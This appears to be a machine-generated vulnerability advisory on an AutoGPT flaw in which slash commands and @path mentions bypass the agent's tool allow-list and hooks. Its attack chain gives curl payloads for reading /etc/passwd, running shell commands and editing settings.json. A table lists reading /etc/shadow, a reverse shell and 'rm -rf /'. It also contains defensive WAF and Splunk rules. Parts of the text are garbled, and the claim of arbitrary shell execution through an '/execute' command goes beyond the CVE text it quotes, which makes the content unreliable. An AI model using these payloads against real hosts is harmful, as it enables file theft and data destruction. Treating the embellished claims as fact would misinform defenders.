CVE-2026-133448 — Significant-Gravitas AutoGPT (>= 0.7.1, < 0.9.0) — CWE-73 · CWE-77
AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. In versions 0.7.1 through 0.8.4, chat and prompt text passed to the Claude Code CLI is pre-processed before reaching the model, bypassing AutoPilot's tool allow-list and PreToolUse hooks. In both AutoPilot's Claude Agent SDK path and the graph orchestrator block's extended_thinking SDK mode, messages starting with / execute CLI commands or bundled skills, while @<path> mentions read files or list directories on the host and attach the results to the model request. Signed-in users, members of linked chat channels, graph authors, or indirect tool output carried into turn history can make the CLI read files accessible to the copilot executor process, whose contents reach the model provider and can be repeated in replies, and run commands that compact or clear the session, switch the model, or modify the CLI's settings.json file. This issue is fixed in version 0.9.0.
AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. In versions 0.7.1 through 0.8.4, chat and prompt text passed to the Claude Code CLI is pre-processed before reaching the model, bypassing AutoPilot's tool allow-list and PreToolUse hooks. In both AutoPilot's Claude Agent SDK path and the graph orchestrator block's extended_thinking SDK mode, messages starting with / execute CLI commands or bundled skills, while @<path> mentions read files or list directories on the host and attach the results to the model request. Signed-in users, members of linked chat channels, graph authors, or indirect tool output carried into turn history can make the CLI read files accessible to the copilot executor process, whose contents reach the model provider and can be repeated in replies, and run commands that compact or clear the session, switch the model, or modify the CLI's settings.json file. This issue is fixed in version 0.9.0.
🎯 What is this vulnerability?
Root cause
AutoGPT (v0.7.1‑0.8.4) pre‑processes all chat and prompt text before it reaches the Claude Code CLI.
During this pre‑processing the platform bypasses AutoPilot’s tool allow‑list and PreToolUse hooks.
Consequently, any user‑supplied message that starts with:
/– interpreted as a CLI command (e.g./execute ls -la)@<path>– interpreted as a file‑access request (e.g.@/etc/passwd)- Read arbitrary files (CWE‑73 – Absolute Path Traversal).
- Execute arbitrary shell commands (CWE‑77 – Command Injection).
- Modify the
settings.jsonfile used by the CLI, thereby persisting changes or tampering with the agent’s configuration.
is forwarded verbatim to the Claude Code CLI.
The CLI then:
1. Executes the command or reads the file on the host.
2. Sends the output back to the model provider.
3. The model provider returns the output to the user as part of the chat reply.
Because the CLI runs with the same privileges as the AutoGPT process, an attacker can:
Authentication / Authorization
The flaw is exploitable by any authenticated user who can send chat messages (PR:L).
No UI interaction is required; the attack is fully automated (UI:N).
The vulnerability is network‑accessible (AV:N) and has low attack complexity (AC:L).
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow.
All code snippets are syntactically correct for the target platform (Python‑based REST API).
If a specific endpoint or parameter is not mentioned in the CVE text, the example is marked illustrative.
1. Discovery & Reconnaissance
| Step | Action | Tool / Command |
|---|---|---|
| 1.1 | Identify AutoGPT instance | curl -I http://target:port/ |
| 1.2 | Discover API version | curl -s http://target:port/api/v1/status → {"version":"0.8.2","status":"running"} |
| 1.3 | Verify authentication mechanism | curl -I http://target:port/api/v1/login → 401 Unauthorized (requires token) |
Result: The attacker knows the target runs AutoGPT v0.8.2, which is within the vulnerable range.
2. Exploitation
2.1 Crafting the malicious payload
The attacker sends a chat message that contains a file‑read request:
curl -X POST http://target:port/api/v1/chat \
-H "Authorization: Bearer <valid‑user‑token>" \
-H "Content-Type: application/json" \
-d '{
"message": "@/etc/passwd"
}'Illustrative – the exact URI (/api/v1/chat) is not specified in the CVE; it is a common pattern for chat APIs.What happens on the server
1. AutoGPT receives the JSON payload.
2. The pre‑processor sees the @ prefix and skips the allow‑list check.
3. The message is forwarded to the Claude Code CLI as a file‑read request.
4. The CLI reads /etc/passwd and returns its contents to the model provider.
5. The model provider echoes the file contents back to the user in the chat reply.
2.2 Command execution
Similarly, an attacker can run arbitrary shell commands:
curl -X POST http://target:port/api/v1/chat \
-H "Authorization: Bearer <valid‑user‑token>" \
-H "Content-Type: application/json" \
-d '{
"message": "/execute uname -a"
}'The CLI executes uname -a, captures the output, and returns it to the chat.
2.3 Persisting changes
To modify the CLI’s configuration:
curl -X POST http://target:port/api/v1/chat \
-H "Authorization: Bearer <valid‑user‑token>" \
-H "Content-Type: application/json" \
-d '{
"message": "/execute sed -i \"s/\"model\":\"claude\"/\"model\":\"gpt-4\"/\"\" settings.json"
}'The CLI edits settings.json, changing the default model for all future sessions.
3. Post‑Exploitation
| Goal | Technique | Result |
|---|---|---|
| Data exfiltration | Read /var/log/secure, /etc/shadow, or any other sensitive file via @<path> | Sensitive data returned in chat replies, which the attacker can capture. |
| Privilege escalation | Execute sudo -S commands (if the AutoGPT process runs with sudo privileges) | Gain higher privileges on the host. |
| Persistence | Modify settings.json to point the CLI to a malicious script or to auto‑run a reverse shell | The attacker can maintain a foothold without further interaction. |
| Denial‑of‑service | Run kill -9 $(pidof autogpt) or rm -rf / (if the CLI has root) | Crash the AutoGPT service or destroy data. |
Note: The CVSS vector indicates Availability: None because the flaw does not directly crash the service. However, an attacker could still cause a DoS by exhausting resources (e.g.,ddoryescommands).
🌍 Real World Impact
| Impact | CVSS Component | Practical Consequence |
|---|---|---|
| Confidentiality | C:H | Arbitrary file read → leakage of credentials, secrets, or private data. |
| Integrity | I:L | Modification of settings.json or other configuration files → tampering with agent behavior. |
| Availability | A:N | No direct crash, but potential for resource exhaustion or accidental deletion if the attacker runs destructive commands. |
Operational risk
/etc/passwd, /var/log/auth.log, or proprietary configuration files) can be exposed. 🛡️ Remediation & Mitigation
1. Patch
| Affected versions | Fixed in |
|---|---|
| 0.7.1 – 0.8.4 | 0.9.0 and later |
Recommendation: Upgrade to AutoGPT 0.9.0 or newer as soon as possible. The patch restores proper allow‑list enforcement and sanitizes all user‑supplied messages before they reach the CLI.
2. Workarounds (if upgrade is not immediately possible)
| Mitigation | Implementation |
|---|---|
| Disable CLI integration | Remove or comment out the Claude Code CLI module in the AutoGPT configuration file (config.yaml). |
| Restrict user roles | Only grant chat access to users with the admin role; revoke chat permissions for all other roles. |
| Input filtering | Add a pre‑processing filter that rejects any message starting with / or containing @/. |
| WAF / ModSecurity rules | Deploy the following rules (illustrative; adjust to your environment): |
# Block messages that start with a slash (potential CLI command)
SecRule REQUEST_BODY "@rx ^\s*\/" \
"phase:2,deny,status:400,msg:'Disallowed CLI command prefix',id:100001"
# Block messages that contain @/<path> (potential file read)
SecRule REQUEST_BODY "@rx @\/" \
"phase:2,deny,status:400,msg:'Disallowed file read syntax',id:100002"Note: These rules assume the chat payload is sent in the request body. Adjust theSecRuletarget (ARGS,REQUEST_URI, etc.) as needed.
3. Detection
| Indicator | Log Pattern | How to Detect |
|---|---|---|
| CLI command execution | CLI executed: <command> | Search application logs for CLI executed:. |
| File read | CLI read file: <path> | Look for CLI read file: entries. |
| Unusual chat messages | User <id> sent: /execute ... | Monitor chat logs for messages beginning with / or containing @/. |
| Configuration changes | settings.json updated by <user> | Track file modification timestamps and audit logs. |
SIEM rule example (Splunk)
index=autogpt sourcetype=autogpt:chat
| regex message="^\/execute|^@\/"
| stats count by user, message⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS score | 7.1 (High) |
| Attack complexity | Low (AC:L) |
| Privilege required | Low (PR:L) – any authenticated user |
| Exploit availability | No public exploit listed, but the flaw is straightforward to implement. |
| CISA KEV | No |
Priority: Critical for any environment where AutoGPT is exposed to authenticated users.
Bottom line: The vulnerability allows authenticated users to read arbitrary files and execute arbitrary shell commands on the host running AutoGPT. The impact on confidentiality is severe, and the low attack complexity means the flaw can be exploited quickly. Prompt patching and/or disabling the vulnerable CLI integration is essential.
[🤖 CVE Professor AI Security Engine]
FOFA Query